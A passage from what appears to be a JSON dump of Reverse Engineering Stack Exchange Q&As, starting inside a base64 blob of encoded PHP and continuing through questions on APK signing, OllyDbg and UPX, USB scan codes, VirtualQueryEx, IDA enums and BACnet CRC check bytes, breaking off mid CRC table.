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'); ?&gt;\n</code></pre>\n",
        "Title": "Decoding eAccelerator PHP code?",
        "Tags": "|php|",
        "Answer": "<blockquote>\n  <p>how would I go about decoding/decrypting PHP code which is\n  encoded/encrypted using eAccelerator?</p>\n</blockquote>\n\n<p>You would have to reverse engineer the <code>eaccelerator_load()</code> function in eAccelerator.</p>\n\n<p><a href=\"http://article.gmane.org/gmane.comp.php.eaccelerator.devel/381\" rel=\"nofollow\">Note that this function only exists in older versions of eAccelerator.</a> For example, see here for the function as it existed in version 0.9.4: <a href=\"https://github.com/eaccelerator/eaccelerator/blob/e48010887b429a203bf03c7562e30a4d2bfa07d3/loader.c\" rel=\"nofollow\">https://github.com/eaccelerator/eaccelerator/blob/e48010887b429a203bf03c7562e30a4d2bfa07d3/loader.c</a></p>\n\n<p>The first thing the loader does is <code>base64_decode()</code> and <code>gzuncompress()</code> the string. You can see the (mostly plaintext) result of that here: <a href=\"http://ddecode.com/phpdecoder/?results=744654407d52841255a5b54c1d5b402d\" rel=\"nofollow\">http://ddecode.com/phpdecoder/?results=744654407d52841255a5b54c1d5b402d</a></p>\n\n<p>It looks like restoring that to more readable code will take a bit more work with analyzing the <code>eaccelerator_load()</code> function, but I'm sure you'll be up to the task :)</p>\n"
    },
    {
        "Id": "8277",
        "CreationDate": "2015-02-18T20:51:38.060",
        "Body": "<p>i created an android app(simple cocos2d-x project) that in this project i have  a method that takes a string and then render it, in initialize state of my app i pass the \"abcde\" as parameter to this method. This works fine in windows and android devices.\nbut when i open SO file that placed in apk and edit any of character of \"abcde\" string and then replace so file with older so in apk file, the apk does't install on android devices.\nI get this error when trying to install the apk : application not installed.</p>\n\n<p>anyone can explain me why this happen??</p>\n",
        "Title": "Changing .SO files in android cause to damage the apk",
        "Tags": "|android|decompile|",
        "Answer": "<p>Android APKs are signed to ensure the developer (holder of the private key) is the only person who can update the application. When the apk is signed, much like that of a jar file, hashes are taken of all the files.</p>\n\n<p>What is likely happening is that you are modifying a file and not resigning the application - this will cause the package manager to reset due to hash mismatches when checking the signatures.</p>\n"
    },
    {
        "Id": "8287",
        "CreationDate": "2015-02-19T16:22:49.723",
        "Body": "<p>I was playing around with tutorials/white papers concerning unpacking, specifically UPX. As Olly 2.01 is my debugger of choice, I attempted to unpack an UPX-packed exe with it and to my surprise, it looks as though it fails to break where it should. </p>\n\n<p>With Olly 1.10, the execution will stop twice:</p>\n\n<p>1) First in ntdll\n<img src=\"https://i.stack.imgur.com/hvxUk.png\" alt=\"enter image description here\"></p>\n\n<p>2) Then the well known PUSHAD instruction in the actual module:\n<img src=\"https://i.stack.imgur.com/K79Ov.png\" alt=\"enter image description here\"></p>\n\n<p>The JMP visible above will jump to the unpacked code:\n<img src=\"https://i.stack.imgur.com/lyRVQ.png\" alt=\"enter image description here\"></p>\n\n<p><br>\nThis is the kind of behavior I'd expect. However, Olly 2.01 with the same settings (break at \"Entry point of main module\") will stop at this jump instead:\n<img src=\"https://i.stack.imgur.com/SiAtW.png\" alt=\"enter image description here\"></p>\n\n<p>Which, if followed, will immediately bring us to the unpacked code:\n<img src=\"https://i.stack.imgur.com/S1a9L.png\" alt=\"enter image description here\"></p>\n\n<p>Additionally, the bytes preceding the JMP  in both cases seem to differ, as do the addresses, suggesting this is actually a different piece of code. </p>\n\n<p><br>\n<b>What is happening?</b> Is Olly 2.01 actually \"smarter\", recognizing the packer and stopping at the unpacked OEP? Also, why are the JMPs to unpacked code different (as stated above, different instructions before them and different addresses)?</p>\n",
        "Title": "Why does Olly 2.01 fail to break at the module EP?",
        "Tags": "|ollydbg|upx|entry-point|",
        "Answer": "<blockquote>\n  <p>Is Olly 2.01 actually \"smarter\", recognizing the packer and stopping\n  at the unpacked OEP?</p>\n</blockquote>\n\n<p>Yes! You can disable it in OllyDbg's options though by going to <em>Debugging</em> \u2192 <em>SFX</em> and unchecking <em>Unpack SFX modules automatically</em>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/DyJWK.png\" alt=\"Self-extractable modules\"></p>\n"
    },
    {
        "Id": "8290",
        "CreationDate": "2015-02-19T20:37:25.807",
        "Body": "<p>In OllyDbg 1.10 it was possible to skip some parts of code when starting run trace(just example):</p>\n\n<p><img src=\"https://i.stack.imgur.com/lLiXR.png\" alt=\"enter image description here\"></p>\n\n<p>So when there is some heavy code it was possible to skip to trace only some useful information.</p>\n\n<p>I cannot find same \"Run trace -> Skip selection from run trace\" option in OllyDbg 2.01. I cannot find any info on that on the internet too. Does it mean there is no such option in the newer version of the software? How is this possible at all?</p>\n\n<p>I need to exclude some heavy code that is always present in the run trace, but I don't need it, and I cannot interact with the application when it records all those lines.</p>\n\n<p><strong>update</strong></p>\n\n<p>There is an answer that shows some workaround, but this is not exactly what 1.10 has, because in 1.10 you can select the code and just skip it. So I just want confirmation if this functionality was removed from the new version of OllyDbg, or there is some other (but also comfortable, not manual) way to do it.</p>\n",
        "Title": "OllyDbg 2.01 Run Trace \"Skip selection option\"",
        "Tags": "|ollydbg|",
        "Answer": "<p>use <code>CTRL + P</code> protocol only the following EIP ranges </p>\n\n<p>Add the ranges above and below the block to be skipped </p>\n\n<p>the skipped block !</p>\n\n<p><img src=\"https://i.stack.imgur.com/CQyiN.png\" alt=\"enter image description here\"></p>\n\n<p>edit</p>\n\n<p>no there doesn't seem to be any skip feature looking inside plugin.h i see only MAX 64 (NRTPROT) ranges can be protocolled  and the address is defined in t_range the code below can automate putting one range automatically into the dialog box for subsequent ranges you may need to implement logic that checks if selection is within an earlier block or not if yes split that block into pieces   code below compilable in vc++ 2010 express       </p>\n\n<pre><code>#define UNICODE\n#define _CHAR_UNSIGNED\n#include &lt;windows.h&gt;\n#include \"plugin.h\"\n#pragma comment(lib,\"ollydbg.lib\")\n//grab the plugin.h and ollydbg.lib from visual c folder in plugin kit and put them along\n//this cpp file open vs2k10 express -&gt;new -&gt; project from existing code -&gt; Dll -&gt;finish\n// open project properties and disable INCREMENTAL save solution and quit gui\n// open a vs2k10 command prompt and do msbuild /p:configuration=Release \nBOOL WINAPI DllEntryPoint( HINSTANCE,DWORD,LPVOID ) { return 1; };\nint Skiprangefromrtprot( t_table *pt, wchar_t *name, ulong index, int mode ) {\n    if (mode==MENU_VERIFY) { return MENU_NORMAL;\n    } else if ( mode==MENU_EXECUTE) {\n        Resumeallthreads();\n        t_dump *cpudump = Getcpudisasmdump();\n        ulong startsel = cpudump-&gt;sel0;\n        ulong endsel = cpudump-&gt;sel1;\n        t_module *curmod = Findmodule(startsel);\n        if(curmod != 0) {\n            Addprotocolrange(curmod-&gt;base,startsel);\n            Addprotocolrange(endsel,(curmod-&gt;base + curmod-&gt;size));\n        }\n        Suspendallthreads();\n        return MENU_NOREDRAW;\n    } else {\n        return MENU_ABSENT;\n    }\n};\nt_menu disasmmenu[] = {\n    { L\"|SkipFromRunTrace\", NULL,K_NONE, Skiprangefromrtprot, NULL, 0 },\n    { NULL, NULL,K_NONE, NULL, NULL, 0 }\n};\nextc int __cdecl ODBG2_Pluginquery( int ollydbgversion, ulong *features,\n    wchar_t pluginname[SHORTNAME], wchar_t pluginversion[SHORTNAME] ) {\n        if (ollydbgversion&lt;201)\n            return 0;\n        wcscpy_s( pluginname, SHORTNAME,L\"SkipFromRunTrace\" );\n        wcscpy_s( pluginversion,SHORTNAME, L\"2.00.01\" );\n        return PLUGIN_VERSION;\n};\nextc t_menu * __cdecl ODBG2_Pluginmenu( wchar_t *type ) {\n    if (wcscmp(type,PWM_DISASM)==0)\n        return disasmmenu;\n    return NULL;\n};\n</code></pre>\n"
    },
    {
        "Id": "8293",
        "CreationDate": "2015-02-19T23:10:15.113",
        "Body": "<p>I am finalizing the reverse-engineering of a linux driver for the <a href=\"https://rads.stackoverflow.com/amzn/click/com/B0083H4NG4\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Perixx MX-2000 IIB</a> mouse. One of the features the mouse has is arbitrary button mapping. I can assign a button to produce various keys or mouse buttons. I have recorded a few button assignments available in the Windows driver, and figured out a few myself, but there doesn't seem to be a discernible (to me) pattern to map the whole address space.</p>\n\n<p>The keys behave like this: Two bytes control a particular mouse button. I have learned a few keys and modifiers, and will post below. Setting the mouse button to the <em>hex value</em> gives me <em>keyboard output</em> when clicked. </p>\n\n<p><strong>keyboard output</strong> | <strong>hex value</strong><br>\n<kbd>a</kbd> | <code>0x0400</code><br>\n<kbd>b</kbd> | <code>0x0500</code><br>\n<kbd>c</kbd> | <code>0x0600</code><br>\n...<br>\n<kbd>z</kbd> | <code>0x1D00</code><br>\n<kbd>1</kbd> | <code>0x1E00</code><br>\n<kbd>2</kbd> | <code>0x1F00</code><br>\n...<br>\n<kbd>9</kbd> | <code>0x2600</code><br>\n<kbd>0</kbd> | <code>0x2700</code><br>\n<kbd>return</kbd> | <code>0x2800</code><br>\n<kbd>esc</kbd> | <code>0x2900</code><br>\n<kbd>backspace</kbd> | <code>0x2A00</code><br>\n<kbd>tab</kbd> | <code>0x2B00</code><br>\n<kbd>space</kbd> | <code>0x2C00</code><br>\n...<br>\n<kbd>Volume Up</kbd> | <code>0x8000</code> (XF86AudioRaiseVolume)<br>\n<kbd>Volume Down</kbd> | <code>0x8100</code> (XF86AudioLowerVolume)<br>\n...  </p>\n\n<p>I've mapped through <code>0x8A00</code> but will spare you the whole table. The interesting things are that thing like XF86 commands appear pretty early, like in <code>0x6F00</code> is XF86AudioMicMute, or <code>0x6600</code> is the power off key.</p>\n\n<p>As for the least significant byte, part of that is modifiers, applied as a mask. <kbd>Ctl</kbd> is <code>(1 &lt;&lt; 0)</code>, <kbd>shift</kbd> is <code>(1 &lt;&lt; 1)</code>, <kbd>alt</kbd> is <code>(1 &lt;&lt; 2)</code> and <kbd>super/meta/windows</kbd> is <code>(1&lt;&lt;3)</code>. So this way, <kbd>shift</kbd>+<kbd>a</kbd> (capital A) is <code>0x0402</code>. <kbd>Ctl</kbd>+<kbd>Alt</kbd>+<kbd>a</kbd> would be <code>0x0405</code>. All four modifiers give you <code>0x0F</code> for the least sig. byte. Playing around with the high nybble of the LSB, say with values like <code>0x0440</code> gives me more keys, like XF86Mute. So it seems the address space is massive.</p>\n\n<p>On top of this, there are some keys from the windows driver that presented as an entirely different scheme.</p>\n\n<p><strong>Output</strong> | <strong>hex value</strong><br>\n<kbd>aMouse Scroll up</kbd> | <code>0x0143</code><br>\n<kbd>Mouse Scroll down</kbd> | <code>0xFF43</code><br>\n<kbd>WWW Search</kbd> | <code>0x2122</code><br>\n<kbd>WWW Back</kbd> | <code>0x2422</code><br>\n<kbd>WWW Forward</kbd> | <code>0x2522</code><br>\n<kbd>Email</kbd> | <code>0x8A21</code><br>\n<kbd>Internet Expl Back</kbd> | <code>0x8842</code> (presents as mouse button 8 in X11)<br>\n<kbd>IE Forward</kbd> | <code>0x9042</code> (mouse button 9)<br>\n<kbd>Calculator</kbd> | <code>0x9221</code><br>\n<kbd>My Computer</kbd> | <code>0x9421</code><br>\n<kbd>Mute</kbd> | <code>0xE220</code><br>\n<kbd>Volume Up</kbd> | <code>0xE920</code><br>\n<kbd>Volume Down</kbd> | <code>0xEA20</code>  </p>\n\n<p>And a few mouse buttons:</p>\n\n<p><strong>output</strong> | <strong>hex</strong><br>\n<kbd>Left Click</kbd> | <code>0x8142</code><br>\n<kbd>Right Click</kbd> | <code>0x8242</code><br>\n<kbd>Wheel Click</kbd> | <code>0x8442</code>  </p>\n\n<p>and finally, these are internal mouse commands. They don't register any events on my linux machine, but do change things in the mouse's internal settings</p>\n\n<p><strong>action</strong> | <strong>hex</strong></p>\n\n<p><kbd>Cycle DPI setting</kbd> | <code>0x034A</code><br>\n<kbd>DPI increase</kbd> | <code>0x014A</code><br>\n<kbd>DPI decrease</kbd> | <code>0x004A</code><br>\n<kbd>Cycle mouse profile</kbd> | <code>0x074A</code><br>\n<kbd>Profile Up</kbd> | <code>0x054A</code><br>\n<kbd>Profile Down</kbd> | <code>0x044A</code>  </p>\n\n<p>And finally there is a special set that looks like <code>0x0a88</code> that point internally to macro memory.</p>\n\n<p>I can't find any encoding schemes or keyboard mappings that might match this. Alphabetical keys? And If you notice, <kbd>volume up</kbd> is both <code>0x8000</code> and <code>0xE920</code> while <kbd>vol down</kbd> is both <code>0x8100</code> and <code>0xEA20</code>. So somewhat of a light at the end of the tunnel that there is a consistent distance between those. </p>\n\n<p>But really, I can't figure out a standard mapping this matches. Or any way to figure out all the keys without manually fiddling with the memory and looping through <code>0x0000</code> to <code>0xFFFF</code> and clicking with <code>xev</code> each time.</p>\n\n<p>Thoughts? is any of this familiar? or other patterns spotted?</p>\n\n<p><strong>edit</strong>: All key information I've mapped so far is <a href=\"https://gist.github.com/pzl/94438a72f578b478a610\" rel=\"nofollow noreferrer\">in this gist</a> including <code>0x0000</code> through <code>0xFF00</code> (leaving LSByte <code>0x00</code>). So there is still a massive address space left. And it still makes no sense to me with the extra keys from the windows driver like <code>0x9421</code> = XF86Explorer</p>\n",
        "Title": "Does anyone recognize this keyboard encoding scheme?",
        "Tags": "|encodings|driver|",
        "Answer": "<p>Those are 16-bit USB keyboard/Keypad scan codes. Please see <a href=\"http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/scancode.doc\" rel=\"nofollow\">Keyboard Scan Code Specification</a> for details. Appendix C contains the complete mapping </p>\n"
    },
    {
        "Id": "8297",
        "CreationDate": "2015-02-20T02:02:56.217",
        "Body": "<p>I see that inspecting <code>/proc/self/maps</code> on Linux machines lets me see the pages that have been mapped in. As a result I can write a program to read and parse the pages it has mapped in.</p>\n\n<p>How could one go about doing something similar for Windows? Are there any APIs for the same? If not, do you have any suggestions on how this could be done? Do you have any references you could link me to?</p>\n",
        "Title": "/proc/self/maps equivalent on windows",
        "Tags": "|windows|linux|virtual-memory|pages|",
        "Answer": "<p><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366907%28v=vs.85%29.aspx\" rel=\"nofollow\">VirtualQueryEx()</a> fills a <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366775%28v=vs.85%29.aspx\" rel=\"nofollow\">MEMORY_BASIC_INFORMATION</a> record with information about a contiguous range of pages containing the queried address. This can be used to walk the address space of a process, by starting with 0 and then using mbi.BaseAddress + mbi.RegionSize as the next address to query and so on. <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms683195%28v=vs.85%29.aspx\" rel=\"nofollow\">GetMappedFileName()</a> can give you the name of mapped binaries (mbi.Type == MEM_IMAGE) and mapped files (MEM_MAPPED).</p>\n\n<p>Address overflow is an issue when a 32-bit process runs queries on a 64-bit process; it seems that VirtualQueryEx() fails to fail in that situation and instead saturates the field in question (by setting it to 0xFFFFFFFF). However, that is not documented and hence not reliable. Alternative tests are <code>mbi.RegionSize &gt; DWORD_PTR(-1) - mbi.BaseAddress</code>, or <code>next_va &lt;= curr_va</code> when iterating.</p>\n\n<p>Results for 32-bit process querying 64-bit notepad.exe:</p>\n\n<pre><code>         00000000        10000 -\n00010000 00010000        10000 c m rw--  rw-- \n...\nFF5F0000 FF5F0000         1000 c i rwxc  r---  notepad.exe\nFF5F0000 FF5F1000         B000 c i rwxc  r-x- \nFF5F0000 FF5FC000         4000 c i rwxc  r--- \nFF5F0000 FF600000         2000 c i rwxc  rw-- \nFF5F0000 FF602000         1000 c i rwxc  rw-c \nFF5F0000 FF603000        22000 c i rwxc  r--- \n         FF625000     FFFFFFFF -\noverflow -&gt; aborting\n</code></pre>\n\n<p>Dito for a 64-bit process:</p>\n\n<pre><code>              0000000000000        10000 -\n0000000010000 0000000010000        10000 c m rw--  rw-- \n...\n00000FF5F0000 00000FF5F0000         1000 c i rwxc  r---  notepad.exe\n00000FF5F0000 00000FF5F1000         B000 c i rwxc  r-x- \n00000FF5F0000 00000FF5FC000         4000 c i rwxc  r--- \n00000FF5F0000 00000FF600000         2000 c i rwxc  rw-- \n00000FF5F0000 00000FF602000         1000 c i rwxc  rw-c \n00000FF5F0000 00000FF603000        22000 c i rwxc  r--- \n              00000FF625000  7FDFB2CB000 -\n007FEFA8F0000 007FEFA8F0000         1000 c i rwxc  r---  winspool.drv\n...\n007FFFFFE0000 007FFFFFE0000        10000 r   r---  !--- \n</code></pre>\n"
    },
    {
        "Id": "8300",
        "CreationDate": "2015-02-20T13:18:49.407",
        "Body": "<p>Is there a way to modify the IDA decompiled source to reflect \"OR\"ed values of two or more enums?</p>\n\n<p>For instance, I have the following enums,</p>\n\n<pre><code>HTTP_QUERY_CONNECTION has the value 23 and \nHTTP_QUERY_FLAG_REQUEST_HEADERS has the value 0x80000000\n</code></pre>\n\n<p>I would like to change the code which has the value 0x80000023 into</p>\n\n<pre><code>HTTP_QUERY_CONNECTION | HTTP_QUERY_FLAG_REQUEST_HEADERS\n</code></pre>\n\n<p>Is that modification possible in IDA?</p>\n",
        "Title": "Coalesce Enums in IDA?",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>Yes, it is possible. The enum must be set to the 'bitfield' kind, and the bit masks must be set appropriately. Position the cursor on the enum name (in the Enums view) and hit Ctrl-N; in the lower left corner of the dialogue that appears there's a check box named \"Bitfield\".</p>\n\n<p>If all values are independent then the bitmask for each value is the value itself; if there are sub fields that contain enumerated values then those must have the same mask. I don't know the exact details for HttpQueryInfo() so I'm using a mask of 0xFFFF for the enumerated part and assume that the upper 16 bits are independent flags. What you need is something like this:</p>\n\n<pre><code>HTTP_QUERY_FLAG_REQUEST_HEADERS value 0x80000000 mask 0x80000000\n\nHTTP_QUERY_CONTENT_TYPE         value          1 mask 0x0000FFFF\n...\nHTTP_QUERY_CONNECTION           value         23 mask 0x0000FFFF\nHTTP_QUERY_ACCEPT               value         24 mask 0x0000FFFF\n...\n</code></pre>\n\n<p>However, it can be extremely difficult to modify an existing enum. You can't switch the enum to 'bitfield' if there are values that need masking ('blah is hindering' or some such rot), but if the enum isn't set to 'bitfield' then IDA doesn't let you set the masks for the enum members. Best to build a new enum from scratch.</p>\n"
    },
    {
        "Id": "8303",
        "CreationDate": "2015-02-20T21:45:49.160",
        "Body": "<p>I am trying to reverse engineer a two wire RS-485 standard serial bus interface to talk to a <a href=\"https://www.watlow.com/products/controllers/ez-zone-pm-controller.cfm?famid=19\" rel=\"noreferrer\">Watlow EZ-Zone PM</a> of which I have not been able to find any documentation of the protocol. I have managed to figure out most of the hex commands except for the \"check bytes\" by sniffing the serial communications from the <a href=\"http://sine.ni.com/apps/utf8/niid_web_display.model_page?p_model_id=16725\" rel=\"noreferrer\">Labview driver</a> (which doesn't work for my particular application).</p>\n\n<p><strong>I am having trouble figuring out the 3 check bytes. Any help is appreciated.</strong></p>\n\n<p>Example hex command:</p>\n\n<pre><code>                                       Instance\n        Zone                 Parameter  |\n         ||                      |---| ||\n55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99\n                     ^^                   ^^ ^^\n                  check byte           check bytes\n</code></pre>\n\n<p>The first check byte only changes with the bytes before it:</p>\n\n<pre><code>55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99\n55 FF 05 11 00 00 06 61 01 03 01 04 01 01 E3 99\n55 FF 05 12 00 00 06 F9 01 03 01 04 01 01 E3 99\n55 FF 05 13 00 00 06 70 01 03 01 04 01 01 E3 99\n55 FF 05 14 00 00 06 CA 01 03 01 04 01 01 E3 99\n</code></pre>\n\n<p>The second two bytes only change with the bytes after the first check byte:</p>\n\n<pre><code>55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99\n55 FF 05 10 00 00 06 E8 01 03 01 04 02 01 8B B3\n55 FF 05 10 00 00 06 E8 01 03 01 04 03 01 53 AA\n55 FF 05 10 00 00 06 E8 01 03 01 04 04 01 5B E7\n55 FF 05 10 00 00 06 E8 01 03 01 04 05 01 83 FE\n55 FF 05 10 00 00 06 E8 01 03 01 05 05 01 5F A4\n55 FF 05 10 00 00 06 E8 01 03 01 06 05 01 3B 4B\n55 FF 05 10 00 00 06 E8 01 03 01 07 05 01 E7 11\n55 FF 05 10 00 00 06 E8 01 03 01 08 05 01 20 5B\n55 FF 05 10 00 00 06 E8 01 03 01 09 05 01 FC 01\n55 FF 05 10 00 00 06 E8 01 03 01 0A 05 01 98 EE\n</code></pre>\n\n<p>I did find reference to a CRC checksum in the Watlow Modbus documentation. However I have no idea what the polynomial is. Any ideas?</p>\n",
        "Title": "RS-485 Checksum Reverse Engineering (Watlow EZ-Zone PM)",
        "Tags": "|hardware|serial-communication|",
        "Answer": "<p>I downloaded the <a href=\"http://www.watlow.com/downloads/en/software/ezzone.cfm\">EZ-ZONE Configurator</a> and reverse engineered it to see how it works.</p>\n\n<p>The serial data you're seeing is actually the <a href=\"http://en.wikipedia.org/wiki/BACnet\">BACnet</a> MS/TP (master-slave/token-passing) protocol. You can find the <a href=\"https://www.wireshark.org/\">Wireshark</a> protocl decoder for it <a href=\"http://anonsvn.wireshark.org/wireshark/trunk/epan/dissectors/packet-mstp.c\">here</a>. However, to save you the time, I'll help you get to the meat of calculating those check bytes.</p>\n\n<p>In BACnet parlance, <code>55 FF</code> is called the \"preamble\", the first check byte is called the \"Header CRC\", the last two check bytes are called the \"Data CRC\", etc. For simplification though, let's call <code>b[]</code> your byte array: <code>b[0]</code> = <code>55</code>, <code>b[1]</code> = <code>FF</code>, etc.</p>\n\n<p>The first check byte (a.k.a. \"Header CRC\") (<code>b[7]</code>) is calculated using the BACnet 8-bit CRC as follows.</p>\n\n<p>We first define our CRC table:</p>\n\n<pre><code>BYTE crc[256] =\n{\n    0x00, 0xfe, 0xff, 0x01, 0xfd, 0x03, 0x02, 0xfc,\n    0xf9, 0x07, 0x06, 0xf8, 0x04, 0xfa, 0xfb, 0x05,\n    0xf1, 0x0f, 0x0e, 0xf0, 0x0c, 0xf2, 0xf3, 0x0d,\n    0x08, 0xf6, 0xf7, 0x09, 0xf5, 0x0b, 0x0a, 0xf4,\n    0xe1, 0x1f, 0x1e, 0xe0, 0x1c, 0xe2, 0xe3, 0x1d,\n    0x18, 0xe6, 0xe7, 0x19, 0xe5, 0x1b, 0x1a, 0xe4,\n    0x10, 0xee, 0xef, 0x11, 0xed, 0x13, 0x12, 0xec,\n    0xe9, 0x17, 0x16, 0xe8, 0x14, 0xea, 0xeb, 0x15,\n    0xc1, 0x3f, 0x3e, 0xc0, 0x3c, 0xc2, 0xc3, 0x3d,\n    0x38, 0xc6, 0xc7, 0x39, 0xc5, 0x3b, 0x3a, 0xc4,\n    0x30, 0xce, 0xcf, 0x31, 0xcd, 0x33, 0x32, 0xcc,\n    0xc9, 0x37, 0x36, 0xc8, 0x34, 0xca, 0xcb, 0x35,\n    0x20, 0xde, 0xdf, 0x21, 0xdd, 0x23, 0x22, 0xdc,\n    0xd9, 0x27, 0x26, 0xd8, 0x24, 0xda, 0xdb, 0x25,\n    0xd1, 0x2f, 0x2e, 0xd0, 0x2c, 0xd2, 0xd3, 0x2d,\n    0x28, 0xd6, 0xd7, 0x29, 0xd5, 0x2b, 0x2a, 0xd4,\n    0x81, 0x7f, 0x7e, 0x80, 0x7c, 0x82, 